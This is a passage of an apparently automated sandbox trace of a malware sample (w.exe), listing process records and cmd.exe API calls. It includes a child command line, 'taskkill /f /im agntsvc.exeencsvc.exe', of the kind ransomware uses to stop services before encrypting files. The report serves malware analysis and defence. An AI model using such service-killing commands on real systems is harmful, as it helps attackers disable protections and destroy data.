	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 185
	os_tid = 0x9a4


Thread:
	id = 186
	os_tid = 0x9a8


Thread:
	id = 187
	os_tid = 0x9ac


Thread:
	id = 188
	os_tid = 0x9c8


Thread:
	id = 189
	os_tid = 0x9a0


Process:
	id = "34"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x4b83e000"
	os_pid = "0x99c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im agntsvc.exeencsvc.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 190
	os_tid = 0xa28

	[0040.103] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2cfdfc | out: lpSystemTimeAsFileTime=0x2cfdfc*(dwLowDateTime=0xfd8d4ed0, dwHighDateTime=0x1d52dc4)) 
	[0040.103] GetCurrentProcessId () returned 0x99c
	[0040.103] GetCurrentThreadId () returned 0xa28
	[0040.103] GetTickCount () returned 0x1a42a
	[0040.103] QueryPerformanceCounter (in: lpPerformanceCount=0x2cfdf4 | out: lpPerformanceCount=0x2cfdf4*=16041326102) returned 1
	[0040.104] GetModuleHandleA (lpModuleName=0x0) returned 0x4a310000
	[0040.104] __set_app_type (_Type=0x1) 
	[0040.104] __p__fmode () returned 0x74eb31f4
	[0040.105] __p__commode () returned 0x74eb31fc
	[0040.105] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a3321a6) returned 0x0
	[0040.105] __getmainargs (in: _Argc=0x4a334238, _Argv=0x4a334240, _Env=0x4a33423c, _DoWildCard=0, _StartInfo=0x4a334140 | out: _Argc=0x4a334238, _Argv=0x4a334240, _Env=0x4a33423c) returned 0
	[0040.105] GetCurrentThreadId () returned 0xa28
	[0040.105] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xa28) returned 0x60
	[0040.105] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0040.105] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0040.105] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0040.106] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0040.106] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2cfd8c | out: phkResult=0x2cfd8c*=0x0) returned 0x2
	[0040.106] VirtualQuery (in: lpAddress=0x2cfdc3, lpBuffer=0x2cfd5c, dwLength=0x1c | out: lpBuffer=0x2cfd5c*(BaseAddress=0x2cf000, AllocationBase=0x1d0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0040.106] VirtualQuery (in: lpAddress=0x1d0000, lpBuffer=0x2cfd5c, dwLength=0x1c | out: lpBuffer=0x2cfd5c*(BaseAddress=0x1d0000, AllocationBase=0x1d0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0040.106] VirtualQuery (in: lpAddress=0x1d1000, lpBuffer=0x2cfd5c, dwLength=0x1c | out: lpBuffer=0x2cfd5c*(BaseAddress=0x1d1000, AllocationBase=0x1d0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0040.106] VirtualQuery (in: lpAddress=0x1d3000, lpBuffer=0x2cfd5c, dwLength=0x1c | out: lpBuffer=0x2cfd5c*(BaseAddress=0x1d3000, AllocationBase=0x1d0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0040.106] VirtualQuery (in: lpAddress=0x2d0000, lpBuffer=0x2cfd5c, dwLength=0x1c | out: lpBuffer=0x2cfd5c*(BaseAddress=0x2d0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xe0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0040.106] GetConsoleOutputCP () returned 0x1b5
	[0040.106] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a334260 | out: lpCPInfo=0x4a334260) returned 1
	[0040.106] SetConsoleCtrlHandler (HandlerRoutine=0x4a32e72a, Add=1) returned 1
	[0040.106] _get_osfhandle (_FileHandle=1) returned 0xc8
	[0040.106] SetConsoleMode (hConsoleHandle=0xc8, dwMode=0x0) returned 0
	[0040.106] _get_osfhandle (_FileHandle=1) returned 0xc8
	[0040.106] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x4a3341ac | out: lpMode=0x4a3341ac) returned 0
	[0040.107] _get_osfhandle (_FileHandle=0) returned 0xc4
	[0040.107] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x4a3341b0 | out: lpMode=0x4a3341b0) returned 0
	[0040.107] GetEnvironmentStringsW () returned 0x522030*
	[0040.107] GetProcessHeap () returned 0x510000
	[0040.107] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xaca) returned 0x522b08
	[0040.107] FreeEnvironmentStringsW (penv=0x522030) returned 1
	[0040.107] GetProcessHeap () returned 0x510000
	[0040.107] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4) returned 0x520c60
	[0040.107] GetEnvironmentStringsW () returned 0x522030*
	[0040.107] GetProcessHeap () returned 0x510000
	[0040.107] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xaca) returned 0x5235e0
	[0040.107] FreeEnvironmentStringsW (penv=0x522030) returned 1
	[0040.107] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2cecfc | out: phkResult=0x2cecfc*=0x68) returned 0x0
	[0040.107] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2ced04, lpData=0x2ced08, lpcbData=0x2ced00*=0x1000 | out: lpType=0x2ced04*=0x0, lpData=0x2ced08*=0x0, lpcbData=0x2ced00*=0x1000) returned 0x2
	[0040.108] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2ced04, lpData=0x2ced08, lpcbData=0x2ced00*=0x1000 | out: lpType=0x2ced04*=0x4, lpData=0x2ced08*=0x1, lpcbData=0x2ced00*=0x4) returned 0x0
	[0040.108] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2ced04, lpData=0x2ced08, lpcbData=0x2ced00*=0x1000 | out: lpType=0x2ced04*=0x0, lpData=0x2ced08*=0x1, lpcbData=0x2ced00*=0x1000) returned 0x2
	[0040.108] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2ced04, lpData=0x2ced08, lpcbData=0x2ced00*=0x1000 | out: lpType=0x2ced04*=0x4, lpData=0x2ced08*=0x0, lpcbData=0x2ced00*=0x4) returned 0x0
	[0040.108] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2ced04, lpData=0x2ced08, lpcbData=0x2ced00*=0x1000 | out: lpType=0x2ced04*=0x4, lpData=0x2ced08*=0x40, lpcbData=0x2ced00*=0x4) returned 0x0
	[0040.108] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2ced04, lpData=0x2ced08, lpcbData=0x2ced00*=0x1000 | out: lpType=0x2ced04*=0x4, lpData=0x2ced08*=0x40, lpcbData=0x2ced00*=0x4) returned 0x0
	[0040.108] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2ced04, lpData=0x2ced08, lpcbData=0x2ced00*=0x1000 | out: lpType=0x2ced04*=0x0, lpData=0x2ced08*=0x40, lpcbData=0x2ced00*=0x1000) returned 0x2
	[0040.108] RegCloseKey (hKey=0x68) returned 0x0
	[0040.108] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2cecfc | out: phkResult=0x2cecfc*=0x68) returned 0x0
	[0040.108] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2ced04, lpData=0x2ced08, lpcbData=0x2ced00*=0x1000 | out: lpType=0x2ced04*=0x0, lpData=0x2ced08*=0x40, lpcbData=0x2ced00*=0x1000) returned 0x2
	[0040.108] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2ced04, lpData=0x2ced08, lpcbData=0x2ced00*=0x1000 | out: lpType=0x2ced04*=0x4, lpData=0x2ced08*=0x1, lpcbData=0x2ced00*=0x4) returned 0x0
	[0040.108] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2ced04, lpData=0x2ced08, lpcbData=0x2ced00*=0x1000 | out: lpType=0x2ced04*=0x0, lpData=0x2ced08*=0x1, lpcbData=0x2ced00*=0x1000) returned 0x2
	[0040.108] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2ced04, lpData=0x2ced08, lpcbData=0x2ced00*=0x1000 | out: lpType=0x2ced04*=0x4, lpData=0x2ced08*=0x0, lpcbData=0x2ced00*=0x4) returned 0x0
	[0040.108] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2ced04, lpData=0x2ced08, lpcbData=0x2ced00*=0x1000 | out: lpType=0x2ced04*=0x4, lpData=0x2ced08*=0x9, lpcbData=0x2ced00*=0x4) returned 0x0
	[0040.108] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2ced04, lpData=0x2ced08, lpcbData=0x2ced00*=0x1000 | out: lpType=0x2ced04*=0x4, lpData=0x2ced08*=0x9, lpcbData=0x2ced00*=0x4) returned 0x0
	[0040.108] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2ced04, lpData=0x2ced08, lpcbData=0x2ced00*=0x1000 | out: lpType=0x2ced04*=0x0, lpData=0x2ced08*=0x9, lpcbData=0x2ced00*=0x1000) returned 0x2
	[0040.108] RegCloseKey (hKey=0x68) returned 0x0
	[0040.108] time (in: timer=0x0 | out: timer=0x0) returned 0x5d163030
	[0040.108] srand (_Seed=0x5d163030) 
	[0040.108] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im agntsvc.exeencsvc.exe \""
	[0040.108] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im agntsvc.exeencsvc.exe \""
	[0040.109] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a335260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0040.109] GetProcessHeap () returned 0x510000
	[0040.109] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x210) returned 0x522030
	[0040.109] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x522038, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0040.109] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a340640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0040.109] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a340640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0040.109] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a340640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0040.109] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0040.109] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0040.109] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0040.109] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0040.109] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0040.109] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0040.109] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0040.109] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0040.109] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0040.109] GetProcessHeap () returned 0x510000
	[0040.109] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x522b08 | out: hHeap=0x510000) returned 1
	[0040.109] GetEnvironmentStringsW () returned 0x522248*
	[0040.110] GetProcessHeap () returned 0x510000
	[0040.110] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xae2) returned 0x524ba8
	[0040.110] FreeEnvironmentStringsW (penv=0x522248) returned 1
	[0040.110] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a340640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0040.110] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a340640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0040.110] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0040.110] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0040.110] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0040.110] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0040.110] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0040.110] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0040.110] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0040.110] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0040.110] GetProcessHeap () returned 0x510000
	[0040.110] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x54) returned 0x525698
	[0040.110] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x2cfac8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0040.110] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x2cfac8, lpFilePart=0x2cfac4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cfac4*="Desktop") returned 0x25
	[0040.110] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0040.110] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x2cf844 | out: lpFindFileData=0x2cf844*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x521eb0
	[0040.110] FindClose (in: hFindFile=0x521eb0 | out: hFindFile=0x521eb0) returned 1
	[0040.111] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x2cf844 | out: lpFindFileData=0x2cf844*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x521eb0
	[0040.111] FindClose (in: hFindFile=0x521eb0 | out: hFindFile=0x521eb0) returned 1
	[0040.111] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0040.111] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x2cf844 | out: lpFindFileData=0x2cf844*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x521eb0
	[0040.111] FindClose (in: hFindFile=0x521eb0 | out: hFindFile=0x521eb0) returned 1
	[0040.111] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0040.111] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0040.111] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0040.111] GetProcessHeap () returned 0x510000
	[0040.111] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524ba8 | out: hHeap=0x510000) returned 1
	[0040.111] GetEnvironmentStringsW () returned 0x5240b8*
	[0040.111] GetProcessHeap () returned 0x510000
	[0040.111] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xb36) returned 0x525ef8
	[0040.111] FreeEnvironmentStringsW (penv=0x5240b8) returned 1
	[0040.111] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a335260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0040.111] GetProcessHeap () returned 0x510000
	[0040.112] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x525698 | out: hHeap=0x510000) returned 1
	[0040.112] GetProcessHeap () returned 0x510000
	[0040.112] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x400e) returned 0x526a38
	[0040.112] GetProcessHeap () returned 0x510000
	[0040.112] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x5e) returned 0x522d88
	[0040.112] GetProcessHeap () returned 0x510000
	[0040.112] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4008) returned 0x52aa50
	[0040.112] GetProcessHeap () returned 0x510000
	[0040.112] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4008) returned 0x52ea60
	[0040.114] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0040.114] GetProcessHeap () returned 0x510000
	[0040.114] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x418) returned 0x522df0
	[0040.114] SetErrorMode (uMode=0x0) returned 0x8003
	[0040.114] SetErrorMode (uMode=0x1) returned 0x0
	[0040.114] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x522df8, lpFilePart=0x2cfa40 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x2cfa40*="f") returned 0x31
	[0040.114] SetErrorMode (uMode=0x8003) returned 0x1
	[0040.114] GetProcessHeap () returned 0x510000
	[0040.114] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x522df0, Size=0xa0) returned 0x522df0
	[0040.114] GetProcessHeap () returned 0x510000
	[0040.114] RtlSizeHeap (HeapHandle=0x510000, Flags=0x0, MemoryPointer=0x522df0) returned 0xa0
	[0040.114] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0040.114] GetProcessHeap () returned 0x510000
	[0040.115] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x72) returned 0x532a88
	[0040.115] GetProcessHeap () returned 0x510000
	[0040.115] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xd8) returned 0x522e98
	[0040.115] GetProcessHeap () returned 0x510000
	[0040.115] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x522e98, Size=0x72) returned 0x522e98
	[0040.115] GetProcessHeap () returned 0x510000
	[0040.115] RtlSizeHeap (HeapHandle=0x510000, Flags=0x0, MemoryPointer=0x522e98) returned 0x72
	[0040.115] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a340640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0040.115] GetProcessHeap () returned 0x510000
	[0040.115] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xe0) returned 0x522f18
	[0040.118] GetProcessHeap () returned 0x510000
	[0040.118] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x522f18, Size=0x76) returned 0x522f18
	[0040.118] GetProcessHeap () returned 0x510000
	[0040.118] RtlSizeHeap (HeapHandle=0x510000, Flags=0x0, MemoryPointer=0x522f18) returned 0x76
	[0040.118] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0040.118] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im agntsvc.exeencsvc.exe ", fInfoLevelId=0x1, lpFindFileData=0x2cf7dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2cf7dc) returned 0xffffffff
	[0040.119] GetLastError () returned 0x3
	[0040.119] GetProcessHeap () returned 0x510000
	[0040.119] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52aa50 | out: hHeap=0x510000) returned 1
	[0040.119] GetProcessHeap () returned 0x510000
	[0040.119] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ea60 | out: hHeap=0x510000) returned 1
	[0040.119] GetProcessHeap () returned 0x510000
	[0040.119] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x526a38 | out: hHeap=0x510000) returned 1
	[0040.119] GetConsoleOutputCP () returned 0x1b5
	[0040.119] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a334260 | out: lpCPInfo=0x4a334260) returned 1
	[0040.119] GetUserDefaultLCID () returned 0x409
	[0040.120] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a334950, cchData=8 | out: lpLCData=":") returned 2
	[0040.120] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2cfc08, cchData=128 | out: lpLCData="0") returned 2
	[0040.120] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2cfc08, cchData=128 | out: lpLCData="0") returned 2
	[0040.120] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2cfc08, cchData=128 | out: lpLCData="1") returned 2
	[0040.120] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a334940, cchData=8 | out: lpLCData="/") returned 2
	[0040.120] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a334d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0040.120] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a334d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0040.120] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a334d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0040.120] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a334cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0040.120] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a334c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0040.120] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a334c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0040.120] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a334c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0040.121] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a334930, cchData=8 | out: lpLCData=".") returned 2
	[0040.121] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a334920, cchData=8 | out: lpLCData=",") returned 2
	[0040.121] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0040.122] GetProcessHeap () returned 0x510000
	[0040.122] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20c) returned 0x522f98
	[0040.122] GetConsoleTitleW (in: lpConsoleTitle=0x522f98, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0040.122] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0040.122] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0040.122] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0040.122] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0040.123] GetProcessHeap () returned 0x510000
	[0040.123] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x400a) returned 0x526a38
	[0040.123] GetProcessHeap () returned 0x510000
	[0040.123] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x526a38 | out: hHeap=0x510000) returned 1
	[0040.123] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0040.123] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0040.123] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0040.123] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0040.123] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0040.123] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0040.123] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0040.123] GetProcessHeap () returned 0x510000
	[0040.123] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x58) returned 0x5231b0
	[0040.123] GetProcessHeap () returned 0x510000
	[0040.123] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x1a) returned 0x525738
	[0040.124] GetProcessHeap () returned 0x510000
	[0040.124] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x46) returned 0x523210
	[0040.125] GetConsoleTitleW (in: lpConsoleTitle=0x2cf900, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0040.125] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0040.125] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0040.125] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0040.125] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0040.125] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0040.125] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0040.125] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0040.125] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0040.126] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0040.126] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
